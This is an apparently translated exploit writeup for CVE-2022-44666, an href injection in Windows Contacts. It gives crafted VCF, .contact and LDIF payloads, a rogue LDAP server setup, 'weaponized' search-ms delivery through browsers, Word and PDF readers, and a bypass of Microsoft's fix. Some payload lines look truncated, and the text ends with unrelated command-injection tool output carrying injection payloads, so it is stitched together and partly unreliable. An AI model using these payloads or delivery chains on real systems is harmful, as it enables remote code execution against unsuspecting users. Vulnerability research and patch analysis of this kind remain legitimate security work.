
شرح فني وإثبات مفهوم لثغرة CVE-2022-44666، وهي ثغرة تهريب سمة href في عنصر تحكم syslink في جهات اتصال Windows، مما يتيح تنفيذ التعليمات البرمجية عن بُعد عبر ملفات VCF/.contact مصمَّمة خصيصًا ومعالج بروتوكول LDAP.
هذه قصة عن 0day أخرى منسية تم الكشف عنها بالكامل منذ أكثر من 4 سنوات بواسطة [John Page (aka hyp3rlinx)][R.1]. لفهم التقرير، عليك أن تضع في اعتبارك أنني غبي :-) وغبائي يدفعني لاتخاذ مسارات أطول لحل مشكلات بسيطة، لكنه أيضًا يقودني لاستكشاف طرق أخرى لاستغلال بعض الثغرات. لماذا أقول هذا؟ لأنني لم أتمكن من فهم بسرعة أن طريقة إنشاء ملف .contact هي ببساطة الانتقال إلى مجلد جهات الاتصال لإنشاء جهة الاتصال، وبدلاً من ذلك، استخدمت هذه المعلومات لإنشاء ملف VCF أولاً، ثم ظننت خطأً أن هذا نوع من المتغيرات. كان ذلك أيضًا لأن عقلي لا يستطيع فهم أن بعض 0days تُنسى لفترة طويلة ¯\(ツ)/¯ بعد القيام بذلك وبعد ردود 'لن يتم الإصلاح' من [MSRC][R.2] و [ZDI][R.3]، تم إجراء مزيد من التحقيقات لزيادة درجة الخطورة، وصولًا أخيرًا إلى ملفات .contact ومعالج بروتوكول url 'ldap' في ويندوز.
بينما كنت أقرأ كود الاستغلال لـ [هذه الثغرة][R.4] والتي تم إصدارها بالفعل كـ 0day ومن الممكن العثور على [تقرير ZDI][R.5].
تحديث 2022/07/21: بعد الإبلاغ عن هذه الحالة إلى MS، أشار إليّ فريق MSRC بحق أن جهات اتصال ويندوز ليس البرنامج الافتراضي لفتح ملفات VCF.

لا يزال البحث الإضافي يظهر أن البرنامج الافتراضي لملفات VCF على Win7 ESU و WinServer2019 هو جهات اتصال ويندوز (wab.exe)، وإلا يتم استخدام MS People (PeopleApp.exe). فيما يلي جدول كامل لهذا الاختبار:
على أي حال، لا يزالون يجادلون بأن هناك بعض الهندسة الاجتماعية متضمنة مثل فتح ملف VCF مصمم خصيصًا والنقر على بعض الروابط لاستغلال الثغرة، لذلك لا يفي بمعايير MSRC لتحديث أمني.

تحديث 2022/07/25: حسنًا، بعد مزيد من البحث، إنها نفس الثغرة. لقد تمكنت أخيرًا من العثور على إثبات مفهوم لملف .contact. من الممكن بالفعل تحليل ملف .contact بشكل صحيح باستخدام كيانات HTML. لاحظ أن هذا يحل المشكلة السابقة (تحديث 2022/07/21) ويتم فتح تنسيق الملف هذا (.contact) بواسطة جهات اتصال ويندوز، البرنامج الافتراضي لهذا الامتداد، حتى عند تثبيت MS أوفيس في النظام. كل ما يحتاجه هو ارتباط ملف أولي إذا لم يتم بعد، لكن البرنامج الوحيد المثبت افتراضيًا للقيام بذلك هو جهات اتصال ويندوز.
تحديث 2022/07/25: قادني هذا البحث الإضافي إلى نقطة كنت أحاول الوصول إليها منذ فترة: استخدام معالج بروتوكول url لفتح بيانات اتصال مصممة خصيصًا لاستغلال الثغرة. تمكنت أخيرًا من جعلها تعمل بفضل مخطط ldap uri، والذي يرتبط افتراضيًا بتطبيق جهات اتصال ويندوز، لذلك بمجرد إعداد خادم LDAP ضار وتقديم بيانات الحمولة تحت سمات mail أو url أو wwwhomepage، يزداد تأثير الاستغلال لأنه الآن ليس من الضروري النقر المزدوج على ملف VCF/Contact ضار، بل يمكننا توصيل ذلك باستخدام بروتوكولات url.
تحديث 2023/02/08: كبادرة حسن نية من MSRC، تم إدراج [John Page (aka hyp3rlinx)][R.1] في صفحة الشكر لاكتشاف [CVE-2022-44666][R.10].

التقرير هو في الأساس نفس الروابط أعلاه، لكنني قمت بتحسين الهندسة الاجتماعية المتضمنة قليلاً. في الواقع، أول شيء قمت به هو تحسين طريقة رؤية الروابط، كما لو كانت ثغرة XSS، إنها في الواقع حقن HTML لذا من الممكن إغلاق عنصر الرابط الأول وإدراج رابط جديد. ثم أردت إخفاء رؤية عناصر HTML تلك، لذا مجرد تعيين 'innerHTML' طويل بقدر الإمكان سيكون كافيًا لإخفائها (بسبب وجود حدود للأحرف).
هذه هي الحمولة النهائية المستخدمة:```html URL;WORK:">CLICKMEEEEE...
لمشاهدة ما يحدث، قم بتشغيل procmon وإعداد هدف وهمي لخاصية href مثل هذا:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
بمجرد النقر على الرابط، يُلاحظ إخراج كهذا في برنامج procmon:

هذا هو مكدس التتبع لأول عملية "CreateFile":``` 0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe 4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe 5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe 6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe 7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe 8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe 9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe 10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll 11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll 12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll 13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll 14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll 15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll 16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll 17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll 18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll 19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll 20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll 21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll 22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll 23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
من خلال تعيين نقطة توقف في **Shell32!ShellExecuteExW**، يمكننا الحصول على صورة أوضح للوظائف المعنية:```
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000 wab.exe
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410 mov qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
# Child-SP RetAddr Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
والكود الزائف المعني هو التالي:```cpp _int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4) {
...
default:
if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
break;
}
} return 1i64; }
__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3) { const unsigned __int16 *v3; // rbx HWND v4; // rdi unsigned int v5; // ebx BOOL v6; // ebx __int64 v7; // rdx OLECHAR *v8; // rax signed int v10; // eax DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h] SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h] OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]
v3 = a3; v4 = a1; memset_0(Dst, 0, 0x1048ui64); pcchCanonicalized = 2084; v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0); if ( (v5 & 0x80000000) == 0 ) { v6 = UrlIsW(Dst, URLIS_FILEURL); pExecInfo.hProcess = 0i64; pExecInfo.hwnd = 0i64; pExecInfo.lpVerb = 0i64; _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64); *(_OWORD *)&pExecInfo.hInstApp = 0i64; *(_OWORD *)&pExecInfo.lpClass = 0i64; *(_OWORD *)&pExecInfo.dwHotKey = 0i64; if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE { v10 = GetLastError(); v5 = (unsigned __int16)v10 | 0x80070000; if ( v10 <= 0 ) v5 = v10; } } ... }
بعد ذلك، يتضح أن المشكلة تتعلق فعليًا بعناصر تحكم SysLink في مكتبة comctl32.dll [R.6] وكيفية تحليل سمة href بواسطة مكتبة wab32.dll.
ليس من الممكن استخدام المواقع المشتركة البعيدة أو webdavs لاستغلال ذلك.```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5C127.0.0.1%4080%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5Cvboxsvr%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
يتم الاستعلام عن معلومات الملف ولكن لا يتم تنفيذه أبدًا.

من الممكن استخدام مسارات نسبية مثل:```html URL;WORK:">CLICKMEEEEE...

مثال:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/hidden%5Cpayload.exe">CLICKMEEEEE...</a>

بالمضي قدمًا، وأثناء اختبار rundll32 كناقل هجوم، لاحظت أنه لم يكن من الممكن استخدام وسائط مع الملف التنفيذي للحمولة المختارة. ولكن باستخدام ملف lnk يستهدف ملفًا تنفيذيًا محددًا، كان من الممكن استخدام وسائط سطر الأوامر. الأمر صعب بعض الشيء لكنه يعمل.```html URL;WORK:">CLICKMEEEEE...
هدف run.lnk:```
rundll32.exe hidden\payload.bin,Foo"

يبدو هذا أكثر إثارة للاهتمام لأنه ليس من الضروري إسقاط ملف تنفيذي في النظام المستهدف.
تنفيذ التعليمات البرمجية عن بُعد كمستخدم حالي مسجل الدخول.
يجب أن يكون هناك اقتران ملف لاستخدام Windows Contacts لفتح ملفات .vcf.
تحديث 2021/07/25: بالنسبة لملفات جهات الاتصال (.contact) يوجد تطبيق واحد فقط لفتحها افتراضيًا: Windows Contacts، حتى عندما يكون MS Office مثبتًا في النظام المستهدف.
استخدام الملفات الموجودة في ./report-pocs/:
هناك مقطعا فيديو مرفقان في ./videos:


هذا ملخص لملفات إثبات المفهوم الموجودة في ./report-pocs/:
والملفات الموجودة في ./src:
لمزيد من الاستغلال، وبما أن الثغرة لا تسمح بتحميل ملفات من مواقع مشتركة بعيدة، فإن بروتوكول uri "search-ms" يُعد ناقلًا مثيرًا للاهتمام. ستجد إثباتات مفهوم تؤدي فقط إلى تشغيل ملف ثنائي محلي مثل calc أو notepad وإثباتات مفهوم أكثر تعقيدًا أطلقت عليها اسم استغلال مسلح، لأنها لا تقوم بتنفيذ ملفات محلية. توجد هذه الإثباتات والاستغلالات في ./further-pocs/.
هذا ملخص للتطبيقات المستهدفة:
لإعادة الإنتاج:
قم بإعداد موقع مشاركة بعيد (SMB أو WebDav). انسخ محتوى ./further-pocs/to-copy-in-remote-shared-location/ إليه.
إذا رغبت، قم بإخفاء الملفات عن طريق تشغيل ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat.
قم بتعديل ملف exploit.html/poc.html الموجود في ./further-pocs/[vector or target app]/remote-weaponized-by-searchms/ للإشارة إلى موقع المشاركة البعيد الخاص بك.
ابدأ خادم ويب في مسار التطبيق المستهدف، أي: ./further-pocs/[vector or target app]/[poc||remote-weaponized-by-searchms]/.
قم بتشغيل ملفات poc/exploit حسب الحالة.
لمزيد من المعلومات، شاهد مقاطع الفيديو الموجودة في ./videos:




بالإضافة إلى ذلك، هذه هي جميع الملفات الخاصة بمزيد من الاستغلال:
بعد تلقي تحديث 2022/07/21 من MSRC، قررت إلقاء نظرة على امتداد ملف جهات الاتصال لأنه سؤكد ما إذا كانت نفس حالة ما وجده المكتشف الأصلي أم لا، وبالطبع هي كذلك. كان إثبات المفهوم الأول الخاص بي مجرد استخدام تنسيق ملف مختلف، لكن الثغرة هي نفسها. باستخدام wabmig.exe الموجود في "C:\Program Files\Windows Mail" من الممكن تحويل جميع ملفات VCF إلى ملفات جهات اتصال.

وكما ذكر في تحديثات المقدمة، يتم فتح هذه الملفات بواسطة Windows Contacts (البرنامج الافتراضي).
خطوات إعادة الإنتاج هي نفس المستخدمة لملفات VCF. نفس القيود الملاحظة على ملفات VCF تنطبق على ملفات جهات الاتصال، أي أنه لا يمكن استخدام مواقع مشاركة بعيدة للخاصية "href" ولكن لا يزال من الممكن استخدام مسارات محلية أو بروتوكول url "search-ms".
هذه هي جميع الملفات المضافة أو المعدلة لاستغلال ملفات جهات الاتصال:
كما ذكر أعلاه، هذا البحث الإضافي جعلني أصل إلى نقطة كنت أحاول الوصول إليها منذ فترة: استخدام معالج بروتوكول URL لفتح بيانات جهة اتصال مصممة خصيصًا تلقائيًا لاستغلال الثغرة. تم تحقيق هذا التحدي أخيرًا بفضل مخطط uri ldap.```js ... Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\LDAP] @="URL:LDAP Protocol" "EditFlags"=hex:02,00,00,00 "URL Protocol"=""
[HKEY_CLASSES_ROOT\LDAP\Clsid] @="{228D9A81-C302-11cf-9AA4-00AA004A5691}"
[HKEY_CLASSES_ROOT\LDAP\shell]
[HKEY_CLASSES_ROOT\LDAP\shell\open]
[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,
00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,
4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,
00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...
أي:```
"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
لذا فقط عن طريق إعداد خادم LDAP مزيف وتقديم بيانات التحميل، من الممكن استخدام معالج بروتوكول عنوان URL هذا لتشغيل جهات اتصال Windows (wab.exe) بحمولة ضارة في سمات ldif: mail أو url أو wwwhomepage. لاحظ أنني لم أتمكن من جعل هذا يعمل على السمة "wwwhomepage" كما هو موضح [هنا][R.8]، ولكن من الناحية النظرية يجب أن يعمل.
محتوى ldif المصمم هو مجرد شيء مثل هذا:```html ... dn: dc=org dc: org objectClass: dcObject
dn: dc=example,dc=org dc: example objectClass: dcObject objectClass: organization
dn: ou=people,dc=example,dc=org objectClass: organizationalUnit ou: people
dn: cn=Microsoft,ou=people,dc=example,dc=org cn: Microsoft gn: Microsoft company: Microsoft title: Microsoft KB5001337-hotfix mail:">Run-installer... url:">Run-installer... wwwhomepage:">Run-installer... objectclass: top objectclass: person objectClass: inetOrgPerson ...
وقد تم أخذ كود خادم ldap المارق من خادم البدء السريع لمشروع ldaptor، الموجود [هنا][R.9].
هذا ملخص للتطبيقات المستهدفة:
* المتصفحات: MS Edge، Google Chrome، Mozilla Firefox & Opera.
* MS Word.
* قارئات PDF (بشكل أساسي Adobe Acrobat Reader DC & Foxit PDF Reader).
الخطوات المطلوب إعادة إنتاجها هي:
1. انسخ [./further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs) إلى موقع مشارك عن بُعد (SMB أو WebDav).
2. إذا أردت، قم بإخفاء الملفات بتشغيل [./further-pocs/MSWord/setup-hidden.bat](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/setup-hidden.bat).
3. قم بتثبيت ldaptor عبر pip: pip install ldaptor. لاحظ أنه تم اختبار هذا على Python 2.7 x64.
4. ابدأ خادم ldap المارق الموجود في [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py)
5. ابدأ خادم ويب في مسار التطبيق المستهدف، أي: ./further-pocs/[المتجه أو التطبيق المستهدف]/url-protocol-ldap/.
6. قم بتشغيل ملفات الاستغلال حسب الحالة.
7. لمزيد من المعلومات، شاهد مقاطع الفيديو الموجودة في [./videos](https://github.com/j00sean/cve-2022-44666/blob/main/videos):
- 7.1. للمتصفحات: [./videos/ldap-browsers-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-browsers-exploit.gif).

- 7.2. لـ MS Word: [./videos/ldap-msword-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-msword-exploit.gif).

- 7.3. لقارئات PDF: [./videos/ldap-pdfreaders-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-pdfreaders-exploit.gif).

هذه هي الملفات الإضافية لاستغلال بروتوكول url ldap:
+ [./further-pocs/browsers/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/browsers/url-protocol-ldap/exploit.html): ملف HTML لتحميل بروتوكول url ldap على خادم ldap مارق يعيد بيانات مصممة للبريد وعناوين URL.
+ [./further-pocs/MSWord/url-protocol-ldap/poc.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/poc.html): قالب عن بُعد يُعرف باسم htmlfile activex لتحميل بروتوكول url ldap على خادم ldap مارق يعيد بيانات مصممة للبريد وعناوين URL.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.rtf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.rtf): ملف Word بتنسيق RTF يقوم بتشغيل قالب عن بُعد يُعرف باسم htmlfile activex.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.docx](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.docx): ملف Word بتنسيق DOCX يقوم بتشغيل قالب عن بُعد يُعرف باسم htmlfile activex.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.html): ملف HTML لتحميل بروتوكول url ldap على خادم ldap مارق يعيد بيانات مصممة للبريد وعناوين URL.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf): PDF يقوم بتشغيل المتصفح الافتراضي لتنفيذ بروتوكول uri "ldap".
+ [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py): سكريبت بايثون استنادًا إلى نموذج الخادم لـ ldaptor، والذي يعمل على Python 2.7، ويخدم البيانات المصممة لاستغلال الثغرة من خلال سمات ldif mail و url و wwwhomepage.
## CVE-2022-44666: تحليل التصحيح والإصلاح غير الكامل
في 13 ديسمبر 2022، أصدرت Microsoft تصحيحًا لهذه الثغرة الأمنية تحت اسم [CVE-2022-44666][R.10].
الإصدارات المستخدمة في مقارنة التصحيح (الموجودة في C:\Program Files\Common Files\System\wab32.dll) كانت:
+ MD5: 588A3D68F89ABF1884BEB7267F274A8B (قبل التصحيح)
+ MD5: D1708215AD2624E666AFD97D97720E81 (بعد التصحيح)
بمقارنة المكتبة المتأثرة (wab32.dll) باستخدام [Diaphora][R.11] بواسطة [@matalaz][R.12]، سنجد بعض الوظائف الجديدة:

وهذه هي التطابقات الجزئية:

نلقي نظرة على الكود الجديد في الوظيفة "fnSummaryProc":```cpp
__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{
...
if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) ) // (1)
{
v38 = (unsigned __int16 *)2085;
v39 = &CPercentEncodeRFC3986::`vftable';
v40 = v23;
v41 = v26;
v28 = CPercentEncodeString::Encode(
(CPercentEncodeString *)&v39,
(unsigned __int16 *)&Dst,
(unsigned __int64 *)&v38,
v25);
v29 = v7;
if ( !v28 )
{
v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
SafeExecute(v29, v24, v30); // (2)
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38);
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44; // (3)
}
}
v31 = GetParent(v29);
ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
return 1i64;
}
...
}
بعد الإصلاح، يقوم الكود الجديد باستدعاء الدالة "SafeExecute" (2) أو عرض مربع رسالة (4).

للوصول إلى استدعاء الدالة "SafeExecute" (2) يمكن متابعة تدفق الكود في (1):```cpp _BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn) { const WCHAR *v1; // rbx _BOOL8 result; // rax DWORD pcchOut; // [rsp+30h] [rbp-68h] char Dst; // [rsp+40h] [rbp-58h]
v1 = pszIn; result = 0; if ( UrlIsW(pszIn, URLIS_URL) ) // (5) { memset_0(&Dst, 0, 0x40ui64); pcchOut = 32; if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0 && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) ) // (6) { result = 1; } } return result; }
تتحقق هذه الدالة أولاً مما إذا كان [الرابط صالحًا في (5)][R.13]، ثم تتحقق مما إذا كان يبدأ بـ "http" أو "https" في (6). يبدو مسار الكود هذا آمنًا بما يكفي. بالعودة إلى الدالة "fnSummaryProc"، يوجد مسار كود آخر قد يساعد في تجاوز الإصلاح في (3).```cpp
__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
unsigned __int16 v2; // ax
unsigned __int16 **v3; // r14
unsigned __int16 *v4; // rdi
unsigned __int16 *v5; // r15
unsigned __int16 v6; // dx
unsigned __int16 *v7; // r8
unsigned __int16 *v8; // rcx
WCHAR v9; // ax
_WORD *v10; // rsi
int v11; // ebp
LPWSTR v12; // rax
unsigned __int16 *v14; // rax
v2 = *a1;
v3 = a2;
v4 = a1;
v5 = a1;
while ( v2 && v2 != 0x3C )
{
a1 = CharNextW(a1);
v2 = *a1;
}
v6 = *a1;
v7 = a1;
if ( *a1 )
{
v8 = a1 + 1;
v4 = v8;
}
else
{
v8 = v4;
}
v9 = *v8;
v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
v11 = v6 != 0;
if ( *v8 & 0xFFBF )
{
while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
{
if ( v9 == 0x40 ) // (7)
{
v14 = CharNextW(v8);
if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) ) // (8)
return 0i64;
if ( v3 )
{
if ( v10 )
{
*v10 = 0;
TrimSpaces(v5);
}
*v3 = v4;
}
return 1i64;
}
v12 = CharNextW(v8);
v8 = v12;
v9 = *v12;
if ( !v9 )
return 0i64;
}
}
return 0i64;
}
شيء لفت انتباهي في هذا (7)، حيث يتحقق الكود مما إذا كان هناك حرف '@'. ثم يستدعي الدالة 'IsDomainName' للتحقق مما إذا كانت السلسلة بعد الحرف '@' هي اسم نطاق:```cpp __int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3) { int v3; // edi int v4; // ebx int v5; // er9 __int64 v6; // rdx
v3 = a3; v4 = a2; if ( !a1 ) return 0i64; LABEL_2: v5 = *a1; if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E ) return 0i64; while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) ) { if ( (unsigned __int16)v5 >= 0x80u ) return 0i64; if ( (unsigned __int16)(v5 - 10) <= 0x36u ) { v6 = 19140298416324617i64; if ( _bittest64(&v6, (unsigned int)(v5 - 10)) ) return 0i64; } if ( (_WORD)v5 == 46 ) { a1 = CharNextW(a1); if ( a1 ) goto LABEL_2; return 0i64; } a1 = CharNextW(a1); v5 = *a1; } if ( v4 ) { if ( (_WORD)v5 != 0x3E ) return 0i64; if ( v3 ) *a1 = 0; } return 1i64; }
إذن تجاوز الإصلاح بسيط جدًا. ما عليك سوى استخدام رمز واحد "@". ستتجاوز سمات الارتباط الرمزي (Symlink href) مثل هذه الإصلاح بنجاح:```html
hidden\@payload.lnk
hidden\@payload.exe
/ ` |) |) / \ |) | |__ |) _, | | \ _/ |) |___ |__ | \
v3.9-stable
أداة آلية شاملة لحقن أوامر نظام التشغيل واستغلالها حقوق النشر © 2014-2024 Anastasios Stasinopoulos (@ancst) للاقتراحات، أو التحديثات، أو لمجرد إلقاء التحية، أرسل بريدًا إلكترونيًا إلى: [email protected]
[] جارٍ التحقق من الاتصال بعنوان URL المستهدف... [ نجح ] [] تعيين معامل POST 'ip' للاختبارات. [] اختبار تقنية حقن الأوامر الكلاسيكية (القائمة على النتائج)... [ نجح ] يبدو أن معامل POST 'ip' قابل للحقن عبر تقنية حقن الأوامر الكلاسيكية (القائمة على النتائج). [] النوع: قائم على النتائج [~] Payload : ;echo JHJIBX$((32+13))buH 2>/dev/null && echo bTkzYg || echo JHJIBX$((32+13))buH 2>/dev/null && echo bTkzYg || echo JHJIBX$((32+13))buH 2>/dev/null && echo bTkzYg
[~] Payload : ;echo GQIPTB$((63+27))bRqM 2>/dev/null && echo fbqNYK || echo GQIPTB$((63+27))bRqM 2>/dev/null && echo fbqNYK || echo GQIPTB$((63+27))bRqM 2>/dev/null && echo fbqNYK
[~] Payload : ;echo ENUWZY$((30+30))hItuH 2>/dev/null && echo NgTsZR || echo ENUWZY$((30+30))hItuH 2>/dev/null && echo NgTsZR || echo ENUWZY$((30+30))hItuH 2>/dev/null && echo NgTsZR
